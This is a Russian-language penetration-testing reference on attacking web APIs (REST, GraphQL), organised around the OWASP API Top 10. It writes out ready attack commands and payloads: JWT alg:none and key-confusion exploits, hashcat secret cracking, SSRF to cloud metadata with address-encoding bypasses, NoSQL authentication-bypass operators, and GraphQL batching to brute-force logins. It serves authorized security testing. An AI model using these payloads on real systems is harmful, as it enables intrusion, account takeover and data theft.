← ZavetSec Library
ZavetSec // API Security Reference

ATTACKING WEB APIs

Углублённый справочник по тестированию безопасности API: REST, GraphQL, gRPC и SOAP. Полный путь от обнаружения скрытых endpoint'ов до эксплуатации авторизации, аутентификации и бизнес-логики — выстроен вокруг OWASP API Security Top 10 (2023). Каждая техника: суть, предусловие, как проверить, типичный запрос, что увидит защита. Только авторизованный scope или своя лаба (crAPI, VAmPI, DVGA).

ФОРМАТ: DEEP REFERENCE РАЗДЕЛОВ: 12 ФОКУС: REST · GRAPHQL SCOPE: AUTHORIZED ONLY
// 00

Введение и attack surface API

Только авторизованный scope. Все техники ниже выполняются исключительно в рамках подписанного RoE/договора либо на собственной изолированной лабе. Хорошие полигоны под весь документ: crAPI (OWASP, реалистичный REST), VAmPI (уязвимый Flask API), DVGA (GraphQL). В РФ несанкционированный доступ — ст. 272–274 УК.

Зачем отдельный документ

API сегодня — основная поверхность атаки веб-приложения: мобильный клиент, SPA и микросервисы общаются с бэкендом не через формы, а через JSON/GraphQL. Классический web-пентест по большей части смотрит на отрендеренный HTML; API-пентест смотрит на контракт между клиентом и сервером, где живут совсем другие классы багов — BOLA, mass assignment, broken function-level auth. Эти уязвимости почти не видны в браузере, но тривиально эксплуатируются через перехваченный или собранный вручную запрос.

Почему авторизация важнее инъекций

В вебе исторически доминировали инъекции и XSS. В API первое и пятое места OWASP-рейтинга — это авторизация на уровне объекта и функции. Причина структурная: бизнес-логика вынесена на клиент, а сервер часто доверяет идентификаторам и полям из запроса. Поэтому методология API-теста начинается не с фаззинга полезной нагрузки, а с вопроса «что будет, если я обращусь к чужому объекту / вызову чужую функцию / передам лишнее поле».

OWASP API Security Top 10 — 2023

Каркас всего документа. Запоминать стоит не номера, а суть категории.

IDКатегорияСуть в одну строку
API1BOLAДоступ к чужому объекту по его ID (object-level IDOR)
API2Broken AuthenticationСлабые токены, JWT-баги, угоняемые сессии, нет rate-limit на логин
API3BOPLAMass assignment + excessive data exposure на уровне свойств объекта
API4Unrestricted Resource ConsumptionНет лимитов: DoS, дорогие запросы, перебор
API5BFLAВызов админ-/чужой функции обычным пользователем
API6Sensitive Business FlowsАвтоматизация критичного флоу (скупка, спам, скрейпинг)
API7SSRFСервер ходит по URL из запроса — в облако/внутрь сети
API8Security MisconfigurationCORS, заголовки, verbose-ошибки, дефолты, отладка
API9Improper InventoryЗабытые версии (v1, /beta), теневые и недокументированные хосты
API10Unsafe ConsumptionБэкенд слепо доверяет ответам сторонних API

Типы API и где что искать

ТипТранспортНа что смотреть в первую очередь
RESTHTTP+JSON, ресурсы по URLBOLA по числовым/UUID id, метод-override, версии
GraphQLодин endpoint, POST queryintrospection, вложенность, batching, BOLA в аргументах
gRPCHTTP/2 + protobufreflection, отсутствие auth на методах, грубое декодирование
SOAPHTTP+XML, WSDLXXE, XML-инъекции, WS-Security, legacy-методы

Базовый поток теста

# Высокоуровневый поток API-пентеста
discover   → найти endpoint'ы: swagger/openapi, JS, mobile, проксирование
map        → построить карту: ресурсы, методы, роли, параметры
authn      → разобрать механизм токенов (JWT/OAuth/key), искать слабости
authz      → BOLA (объекты) и BFLA (функции) — две учётки/две роли
props      → mass assignment, утечка лишних полей в ответах
inject     → SSRF, SQL/NoSQL, command — в JSON-полях и параметрах
abuse      → лимиты, дорогие запросы, автоматизация бизнес-флоу
report     → воспроизводимый PoC: запрос, ответ, влияние, фикс
Главный приём всего документа. Заведи две учётные записи (две обычные + по возможности одну привилегированную). Почти вся авторизационная часть OWASP API Top 10 проверяется сравнением: «токен пользователя A → объект/функция пользователя B». Без второй учётки половина багов невидима.
// 01

Recon и обнаружение endpoint'ов

Нельзя протестировать то, чего не видишь. Первая задача — собрать максимально полную карту endpoint'ов, методов и параметров. Документация почти всегда неполна, поэтому источников несколько.

Документация и схемыcore

Первое, что ищем, — машиночитаемое описание API. Оно сразу даёт endpoint'ы, методы, параметры и иногда роли.

# Типовые пути к OpenAPI/Swagger/документации
/openapi.json   /swagger.json   /swagger/v1/swagger.json
/v2/api-docs    /api-docs        /swagger-ui/        /redoc
/graphql        /graphiql        /altair            /.well-known/

# Быстрый перебор кандидатов
ffuf -w api-wordlist.txt -u https://target/FUZZ -mc 200,401,403

# GraphQL: проверка introspection одним запросом
curl -s https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name}}}"}'

Эндпоинты из клиентаfind

SPA и мобильные приложения содержат маршруты прямо в коде. JS-бандлы и декомпилированный APK — богатый источник скрытых путей.

ИсточникИнструмент / приём
JS-бандлы SPALinkFinder / xnLinkFinder — выдёргивает пути из webpack-чанков
JS endpointskatana / gau / hakrawler — краулинг и сбор URL
Mobile (APK)apktool + grep по https://, jadx для строк и ключей
Историч. данныеwaybackurls / gau — старые версии и забытые пути
Source maps.js.map восстанавливает исходники SPA целиком
# Сбор путей из JS приложения
katana -u https://target -jc -d 3 | grep -Ei '/api|/v[0-9]|/graphql'

# Поиск endpoint'ов прямо в JS-файлах
python3 xnLinkFinder.py -i https://target -sf target -d 3

# Строки и ключи из APK
jadx -d out app.apk && grep -rEi 'https?://|api[_-]?key|secret' out/

Проксирование трафикаcore

Самый надёжный способ увидеть реальный API — пропустить через прокси живой клиент. Burp/mitmproxy показывают каждый запрос, заголовки и формат токена.

# mitmproxy для мобильного / десктоп-клиента
mitmweb --listen-port 8080
# на устройстве: прокси на IP машины:8080, поставить CA mitmproxy

# Burp: Proxy -> Target -> Site map даёт дерево endpoint'ов
# Сложность с мобильными — certificate pinning (обход вне scope без согласования)

Брутфорс маршрутовadv

Когда документация скрыта, помогает специализированный API-фаззинг словарями маршрутов и REST-паттернов.

# Kiterunner — заточен под API-маршруты (учитывает методы и параметры)
kr scan https://target -w routes-large.kite -x 20

# ffuf по числовым версиям и типовым ресурсам
ffuf -w api-objects.txt -u https://target/api/v1/FUZZ -mc all -fc 404
Фиксируй методы. Один и тот же путь под GET может быть закрыт, а под PUT/DELETE/PATCH — открыт. Всегда проверяй полный набор методов на найденных endpoint'ах (см. BFLA, раздел 04).
// 02

Аутентификация: JWT, OAuth, ключи API2

Broken Authentication — второе место рейтинга. Цель раздела: понять, как устроен механизм идентификации, и проверить его на классические дефекты. Сначала классифицируем токен, затем атакуем по типу.

Классификация токена

ПризнакТипКуда копать
3 части через точку, eyJ...JWTalg, подпись, claims (см. ниже)
Непрозрачная строка, есть refreshOAuth bearerscope, время жизни, refresh-флоу
Статичный ключ в заголовке/URLAPI keyутечка, отсутствие привязки к пользователю
Cookie с флагамиSessionHttpOnly/Secure/SameSite, фиксация

JWT — атакиcore

JWT носит подпись, но проверяет её сервер. Ошибки реализации позволяют подделать токен. Проверяй по чек-листу.

АтакаУсловиеЧто делаем
alg: noneсервер принимает noneубираем подпись, ставим "alg":"none"
RS256 → HS256сервер не фиксирует algподписываем HS256 публичным ключом как секретом
Слабый секретHS256 с простым ключомофлайн-брут секрета по hashcat
kid injectionkid подставляется в путь/SQLpath traversal / инъекция через kid
jwk/jkuсервер берёт ключ из токенаподсовываем свой ключ через jwk/jku
Нет проверки expистёкший токен работаетпереиспользуем старый токен
# jwt_tool — основной швейцарский нож по JWT
python3 jwt_tool.py $TOKEN -M at                 # все автоатаки (alg none, и т.д.)
python3 jwt_tool.py $TOKEN -X a                  # exploit: alg:none
python3 jwt_tool.py $TOKEN -X k -pk public.pem    # RS256->HS256 confusion

# Брут слабого HS256-секрета
hashcat -a 0 -m 16500 jwt.txt rockyou.txt

# Ручная правка claims (например, role/sub) и переподпись известным секретом
python3 jwt_tool.py $TOKEN -T -S hs256 -p 'secret'

OAuth 2.0 — типовые дефектыadv

OAuth ломается не в криптографии, а в флоу: куда возвращается код, что в state, как валидируется redirect_uri.

ДефектПоследствие
redirect_uri без строгой валидацииугон authorization code на свой домен
Отсутствие/непроверка stateCSRF на привязку аккаунта
Утечка code в Referer/логахповторное использование кода
Implicit flow с токеном в URLтокен в истории, Referer, прокси
Лишние scope при выдачеизбыточные права у клиента

API-ключи и сессииfind

Ключи утекают в репозиториях, JS и истории; сессии — слабнут на флагах cookie и фиксации.

# Поиск утёкших ключей в исходниках/истории
trufflehog git file://. --only-verified
gitleaks detect -s . -v

# Проверка флагов cookie
curl -si https://target/api/login -d '...' | grep -i set-cookie
# ищем отсутствие HttpOnly / Secure / SameSite
Rate-limit на аутентификацию. Отсутствие ограничения попыток логина/OTP/refresh — это API2 и одновременно API4. Перебор паролей и брут одноразовых кодов проверяется здесь же: пробуем серию запросов и смотрим, появляется ли 429.
// 03

BOLA / IDOR API1

Broken Object Level Authorization — самая частая и самая дорогая уязвимость API. Сервер проверяет, что ты аутентифицирован, но не проверяет, что объект с данным ID принадлежит именно тебе. Меняешь чужой ID — получаешь чужие данные.

Суть и как искатьcore

Любой идентификатор объекта в пути, query, теле или заголовке — кандидат. Числовые ID перебираются тривиально; UUID — через утечку чужих идентификаторов в других ответах.

# Учётка A смотрит свой заказ
curl -s https://target/api/orders/1001 -H "Authorization: Bearer $TOKEN_A"

# Тот же токен A пробует чужой объект — должно быть 403/404, а не 200
curl -s https://target/api/orders/1002 -H "Authorization: Bearer $TOKEN_A"

# Перебор диапазона числовых ID и фильтрация по размеру ответа
ffuf -w ids.txt -u https://target/api/orders/FUZZ \
  -H "Authorization: Bearer $TOKEN_A" -mc 200 -ac

Где прячутся идентификаторыfind

МестоПример
Path/api/users/{id}/profile
Query?account_id=1002&doc=55
Body (JSON){"orderId":1002,"userId":42}
ЗаголовокX-Account-Id: 1002
Вложенный объект/api/users/me/cards/{cardId}

Обходы и трюкиadv

Когда прямой перебор закрыт, помогают подмены формата ID и параметров.

ПриёмИдея
UUID-утечкачужие UUID часто отдаются в списках/нотификациях — берём оттуда
Wrapped ID[1002], {"id":1002}, массив вместо скаляра
Смена типастрока вместо числа, ведущие нули, дубли параметра
Параллельные путиGET закрыт, но /export или /v1 — нет
me->idзамена /me/ на конкретный /{id}/
Burp-автоматизация. Расширение Autorize прогоняет каждый запрос повторно с токеном низкопривилегированной учётки и подсвечивает, где ответ совпал, — массовый детектор BOLA/BFLA. Альтернатива — AuthMatrix для матрицы ролей.
Влияние в отчёт. BOLA на персональные/платёжные данные — это критичный риск (утечка PII, нарушение приватности). В PoC фиксируй: запрос с чужим ID, фрагмент чужих данных в ответе (минимально, для подтверждения), число затронутых объектов. Не выгружай чужие данные массово — это выходит за рамки демонстрации.
// 04

BFLA — функциональная авторизация API5

Broken Function Level Authorization: BOLA про объекты, BFLA — про функции. Обычный пользователь вызывает административную или чужую по роли операцию, потому что проверка прав реализована только на клиенте или забыта на части методов.

Суть и как искатьcore

Берём действия, которые в UI доступны только админу/менеджеру, и пробуем выполнить их токеном обычного пользователя. Часто достаточно угадать путь админ-функции по аналогии.

# Обычный пользователь пробует админ-эндпоинт
curl -s -X POST https://target/api/admin/users \
  -H "Authorization: Bearer $TOKEN_USER" \
  -H 'Content-Type: application/json' \
  -d '{"email":"x@x.tld","role":"admin"}'

# Смена метода: GET разрешён, а DELETE/PUT — нет
curl -s -X DELETE https://target/api/users/1002 -H "Authorization: Bearer $TOKEN_USER"

Где искать админ-функцииfind

СигналПример
Префиксы ролей/admin/, /internal/, /manage/
Глаголы действий/approve, /promote, /disable, /refund
Метод HTTPPOST/PUT/PATCH/DELETE на «чтоном» ресурсе
Method overrideX-HTTP-Method-Override: DELETE
Параметр ролив теле/JWT — повышение через изменение поля

Обходы фильтрации путиadv

Если фронт-прокси режет /admin по строке, помогают нормализационные трюки.

# Вариации, которые по-разному нормализуют прокси и бэкенд
/api/admin/users        # базовый
/api//admin/users       # двойной слэш
/api/Admin/users        # регистр
/api/admin%2fusers      # url-encoded слэш
/api/admin/users/       # trailing slash
/api/admin/users#       # обрезка фрагментом
Связка с BOLA. BFLA и BOLA проверяются одним прогоном Autorize: одна учётка низкого уровня, повтор всех запросов админа. Совпавший ответ = либо чужой объект (BOLA), либо чужая функция (BFLA).
// 05

Object Property Level Auth API3

BOPLA объединяет два старых дефекта: excessive data exposure (сервер отдаёт лишние поля) и mass assignment (сервер принимает поля, которые менять нельзя). Оба про авторизацию на уровне отдельных свойств объекта.

Excessive Data Exposurefind

API возвращает весь объект из БД, полагаясь на фильтрацию в клиенте. В ответе оказываются хэши, внутренние флаги, чужие поля.

# Смотрим полный JSON ответа, а не отрендеренный UI
curl -s https://target/api/users/me -H "Authorization: Bearer $TOKEN" | jq .

# Тревожные поля в ответе:
#   password_hash, is_admin, internal_notes, balance,
#   otp_secret, ssn, mfa_enabled, role, discount_eligible

Mass Assignmentcore

Сервер биндит входной JSON прямо в модель. Добавляем поля, которых нет в форме, — и меняем то, что менять не должны (роль, баланс, владельца, статус оплаты).

# Легитимный запрос на обновление профиля
curl -s -X PATCH https://target/api/users/me \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"displayName":"Bob"}'

# Тот же запрос + «лишние» поля — пробуем привилегированную правку
curl -s -X PATCH https://target/api/users/me \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"displayName":"Bob","role":"admin","isVerified":true,"balance":99999}'

Кандидаты для подмешиванияadv

КатегорияПоля-кандидаты
Привилегииrole, is_admin, isStaff, permissions, group
Состояние оплатыpaid, status, balance, credit, discount
ВладениеuserId, ownerId, account_id, tenant
Верификацияverified, emailVerified, approved, active
Вложенность{"user":{"role":"admin"}} — вложенный биндинг
Откуда брать имена полей. Имена привилегированных свойств видны в excessive-data-exposure ответах (раздел выше), в OpenAPI-схеме, в JS-моделях клиента. Сначала собери словарь полей объекта, потом подмешивай их в запись.
// 06

SSRF API7

Server Side Request Forgery: сервер делает HTTP-запрос по URL, который контролирует клиент. В API-мире это особенно опасно — облачные метаданные, внутренние сервисы и микросервисная сеть оказываются в одном запросе.

Где возникаетfind

ФункцияПараметр-кандидат
Загрузка по URLimageUrl, avatar, fetchFrom, source
ВебхукиcallbackUrl, webhook, notifyUrl
Импорт/проксиurl, link, target, redirect, next
Генерация PDF/превьюрендер HTML с внешними ресурсами
Документ-парсерыXML/SVG с внешними сущностями (XXE->SSRF)

Базовая проверка и облакоcore

Сначала подтверждаем сам факт исходящего запроса через свой коллектор, затем целимся в метаданные облака и внутренние адреса.

# 1. Подтверждение: сервер ходит на наш collaborator/interactsh
curl -s -X POST https://target/api/fetch -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://YOUR-OOB-HOST/probe"}'

# 2. Облачные метаданные (только в авторизованной лабе/своём облаке)
#    AWS IMDSv2 требует токен; пробуем classic IMDS:
{"url":"http://169.254.169.254/latest/meta-data/"}
#    GCP:
{"url":"http://metadata.google.internal/computeMetadata/v1/"}

# 3. Внутренняя сеть
{"url":"http://localhost:8080/actuator"}   {"url":"http://127.0.0.1:6379"}

Обходы фильтровadv

Блок-листы по «localhost/169.254» обходятся альтернативными представлениями адреса и редиректами.

# Альтернативные записи 127.0.0.1
http://127.1            http://0x7f000001        http://2130706433
http://[::1]            http://0177.0.0.1         http://localtest.me

# Обход через редирект на своём хосте (302 -> internal)
{"url":"http://YOUR-HOST/redirect?to=http://169.254.169.254/"}

# DNS rebinding / схемы (если допускает парсер)
gopher://  dict://  file://  — расширяют поверхность за пределы http
Blind SSRF тоже находка. Даже без чтения ответа подтверждённый исходящий запрос на внутренний адрес — валидный риск (сканирование сети, удар по внутренним сервисам). В лабе доводи до чтения метаданных; на реальном проекте — фиксируй факт и согласовывай глубину в RoE.
// 07

Инъекции в контексте API

Инъекции в API живут в JSON-полях, query-параметрах и заголовках. Классы те же, что в вебе, но точка входа — структурированное тело. Тестируем каждое поле, которое попадает в запрос к БД, шелл или интерпретатор.

SQL-инъекцииcore

Поля фильтров, сортировки, поиска — частые точки. sqlmap умеет читать сырой запрос с заголовками и телом.

# Сохраняем запрос из Burp в req.txt, отдаём sqlmap
sqlmap -r req.txt --batch --level 3 --risk 2

# Точечно по JSON-полю (* помечает точку инъекции)
sqlmap -u https://target/api/search --method POST \
  --data '{"q":"test*"}' --headers="Authorization: Bearer $TOKEN"

NoSQL-инъекцииadv

MongoDB-бэкенды уязвимы к операторной инъекции через JSON: вместо строки передаём объект с оператором.

# Обход аутентификации оператором $ne / $gt
{"username":{"$ne":null},"password":{"$ne":null}}

# Извлечение через $regex (булева слепая)
{"username":"admin","password":{"$regex":"^a"}}

# Оператор-инъекция в query: ?user[$ne]= (urlencoded)
GET /api/items?owner[$ne]= HTTP/1.1

Прочие инъекцииfind

КлассГде искать в API
Command injectionполя, уходящие в системные утилиты (ping, convert, ffmpeg)
SSTIшаблонизируемые поля: имя в письме, генерация документов
XXEлюбой XML/SOAP-вход, парсеры SVG/DOCX
LDAP / log injectionполя логина, поиска, передаваемые в каталог/лог
Header injectionCRLF в полях, попадающих в заголовки ответа
Фаззинг тела. Burp Intruder/ffuf по каждому JSON-полю с полиглот-нагрузками выявляет точки. Но инъекции в API — частая ложно-положительная зона; всегда подтверждай out-of-band или дифференциальным ответом, не по тексту ошибки.
// 08

Resource consumption и бизнес-флоу API4 API6

Два связанных класса: отсутствие лимитов на ресурсы (API4) и возможность автоматизировать критичный бизнес-процесс (API6). Здесь баг — не в коде, а в отсутствии ограничений.

Unrestricted Resource Consumption (API4)core

Сервер не ограничивает стоимость операции: размер запроса, число элементов, частоту. Это путь к DoS и дорогому перебору.

ВекторПроверка
Нет rate-limitсерия запросов подряд — появляется ли 429
Огромная пагинация?limit=1000000 — отдаёт ли всё разом
Тяжёлый объектзагрузка/обработка большого файла без лимита
Массовые операцииbatch-эндпоинт с тысячами элементов в одном теле
Дорогие фильтрызапрос, провоцирующий тяжёлый JOIN/regex по БД
# Проверка наличия rate-limit (ищем 429 и заголовки X-RateLimit-*)
for i in $(seq 1 200); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    https://target/api/login -d '{"u":"a","p":"b"}'
done | sort | uniq -c

# Гигантская пагинация
curl -s "https://target/api/items?limit=10000000&page=1" -H "Authorization: Bearer $TOKEN"

Sensitive Business Flows (API6)adv

Технически запрос валиден, но бизнес-логика не рассчитана на автоматизацию. Скрипт делает то, что должен делать человек поштучно.

ФлоуЗлоупотребление
Покупка лимитированногоскупка всего стока ботом за секунды
Реферальные бонусымассовое создание аккаунтов ради бонусов
Промокодыперебор/реюз кодов без ограничений
Отзывы/рейтингинакрутка через прямой вызов API
Рассылки/приглашенияспам через эндпоинт инвайтов
Как формулировать в отчёт. API6 — про отсутствие защитных механизмов (CAPTCHA, device-fingerprint, лимит на единицу времени/аккаунт). Демонстрируй принципиальную возможность автоматизации малой серией запросов, не нанося реального ущерба сервису.

Race conditionselite

Частный случай: параллельные запросы успевают пройти проверку до её обновления (двойное списание, повторное применение купона).

# Single-packet attack / параллельная отправка одинаковых запросов
# Burp Repeater -> группа вкладок -> "Send group in parallel"
# либо turbo-intruder для точной синхронизации
# Цель: применить один купон/баланс/инвайт несколько раз одновременно
// 09

GraphQL: специфичные атаки

GraphQL — один endpoint, гибкий язык запросов. Это переносит привычные классы (BOLA, BFLA, инъекции) в новую плоскость и добавляет свои: introspection, batching, неконтролируемую вложенность.

Introspection и карта схемыcore

Introspection отдаёт всю схему: типы, поля, мутации, аргументы. Это карта атаки. Если включён в проде — половина рекона сделана.

# Полный introspection-запрос (сокращённо)
curl -s https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} mutationType{name} types{name fields{name}}}}"}'

# Визуализация схемы
graphql-voyager   # строит граф типов из introspection
clairvoyance      # восстановление схемы, когда introspection выключен

Авторизация в GraphQLadv

BOLA/BFLA никуда не делись: проверяем доступ к чужим объектам через аргументы и вызов мутаций чужой роли.

# BOLA: чужой id в аргументе резолвера
{"query":"{ user(id: 1002){ email phone } }"}

# BFLA: вызов админ-мутации обычным токеном
{"query":"mutation{ deleteUser(id:1002){ ok } }"}

# Утечка лишних полей — запрашиваем чувствительные поля типа напрямую
{"query":"{ me { id email passwordHash isAdmin } }"}

DoS вложенностью и batchingelite

GraphQL позволяет циклические/глубокие запросы и пакетную отправку — оба пути к перегрузу и к обходу rate-limit на мутациях.

# Глубокая вложенность через циклическую связь типов
{"query":"{ posts { author { posts { author { posts { id }}}}}}"}

# Batching: много операций в одном HTTP-запросе (обход лимита логина/OTP)
[{"query":"mutation{login(u:\"a\",p:\"1\"){t}}"},
 {"query":"mutation{login(u:\"a\",p:\"2\"){t}}"}]

# Алиасы: один запрос -> сотни вызовов одного поля
{"query":"{ a:login(u:\"x\",p:\"1\"){t} b:login(u:\"x\",p:\"2\"){t} }"}

Инструменты GraphQLfind

ИнструментРоль
graphw00fфингерпринт движка GraphQL (Apollo, Hasura, ...)
InQL (Burp)парсинг схемы, генерация запросов прямо в Burp
clairvoyanceвосстановление схемы при выключенном introspection
graphql-copбыстрый аудит типовых мисконфигов
DVGAуязвимый GraphQL для отработки
Защитные механизмы — тоже находка. Отсутствие depth-limit, cost-analysis, отключения introspection и батч-лимита — самостоятельные мисконфиги. Фиксируй их даже если до полного DoS не доводишь.
// 10

Misconfig · Inventory · Unsafe Consumption API8 API9 API10

Три «инфраструктурных» категории: ошибки конфигурации, забытые версии и слепое доверие сторонним API. Часто именно здесь лежат самые простые быстрые победы.

Security Misconfiguration (API8)core

ПроверкаЧто искать
CORSAccess-Control-Allow-Origin: * + credentials, отражение Origin
Заголовкинет HSTS, X-Content-Type-Options; verbose Server/X-Powered-By
Ошибкиstack trace, пути, версии в 500-ответах
МетодыTRACE, OPTIONS раскрывают набор методов
ДефолтыSwagger/actuator/console открыты в проде
# Проверка отражения Origin в CORS
curl -si https://target/api/me -H "Origin: https://evil.tld" \
  -H "Authorization: Bearer $TOKEN" | grep -i access-control

# Spring Actuator и прочие дефолтные панели
curl -s https://target/actuator   https://target/actuator/env

Improper Inventory (API9)find

Старые версии API часто не получают патчей и сохраняют уже исправленные в новой версии баги. Теневые и тестовые хосты — отдельная поверхность.

# Перебор версий — старая версия может обходить новые проверки
/api/v1/users   /api/v2/users   /api/v3/users   /api/beta/   /api/internal/

# Поддомены и теневые окружения
subfinder -d target.tld | httpx -title -status-code
# dev-api., staging-api., old-api., legacy. — частые кандидаты
Приём. Нашёл уязвимость и её закрыли в /v2? Проверь /v1 и /beta — фикс часто накатывают только на актуальную версию.

Unsafe Consumption (API10)adv

Бэкенд интегрируется со сторонними API и доверяет их ответам без валидации. Если можно повлиять на третью сторону (или подменить её), уязвимость переходит внутрь.

СигналРиск
Редирект за внешним APIсервер слепо следует за 3xx третьей стороны
Нет валидации схемы ответаинъекция через данные стороннего сервиса
Доверие webhook'амподделка входящего вебхука без подписи
TLS не проверяетсяMITM на канале к стороннему API
// 11

Инструментарий и методология

Сводный арсенал и порядок работы. Инструменты ускоряют, но находки рождаются из понимания контракта и ручной проверки авторизации.

Базовый стекcore

ИнструментРоль
Burp Suiteпрокси, Repeater, Intruder; расширения Autorize, InQL, AuthMatrix
Postman / Insomniaработа с коллекциями, импорт OpenAPI, окружения и токены
mitmproxyперехват трафика клиента (особенно мобильного)
ffufфаззинг путей, параметров, значений; фильтры по размеру/коду
jq / httpieчтение и формирование JSON в консоли

Специализированныеadv

ИнструментНазначение
Kiterunnerконтент-дискавери под API-маршруты (методы + тела)
jwt_toolанализ и эксплуатация JWT
Autorizeмассовый детектор BOLA/BFLA по второй учётке
graphw00f / InQL / clairvoyanceфингерпринт и схема GraphQL
nucleiшаблонные проверки (exposures, мисконфиги, CVE)
sqlmapSQL-инъекции из сырого запроса
interactsh / collaboratorOOB-подтверждение SSRF и слепых инъекций

Методология по шагамcore

1. Scope     подтвердить RoE, домены, лимиты, окно тестирования
2. Map       discover endpoint'ы (schema/JS/proxy/brute), собрать карту
3. Identity  разобрать токены; завести 2+ учётки разных ролей
4. AuthZ     BOLA + BFLA через Autorize и ручные пары запросов
5. Props     data exposure -> собрать поля -> mass assignment
6. Inject    SSRF, SQL/NoSQL, command — по каждому полю, OOB-проверка
7. Abuse     rate-limit, дорогие запросы, бизнес-флоу, race
8. Infra     CORS/заголовки/версии/теневые хосты
9. Report    воспроизводимый PoC: запрос, ответ, влияние, ремедиация

Чек-лист отчётаfind

ПолеСодержание
Запросполный HTTP-запрос PoC (метод, путь, заголовки, тело)
Ответминимальный фрагмент, подтверждающий уязвимость
Влияниечто реально получает атакующий (PII, привилегии, деньги)
Масштабсколько объектов/учёток затронуто, без массового выгруза
Ремедиацияпроверка на сервере, allow-list полей, лимиты, валидация
Дисциплина данных. Подтверждение уязвимости — это минимальный PoC, а не дамп. Не выгружай чужие персональные данные массово, не меняй и не удаляй чужие объекты без явного согласования. Любая разрушающая или персистентная активность — только при письменном разрешении в RoE. Документируй каждое сделанное изменение и откатывай его.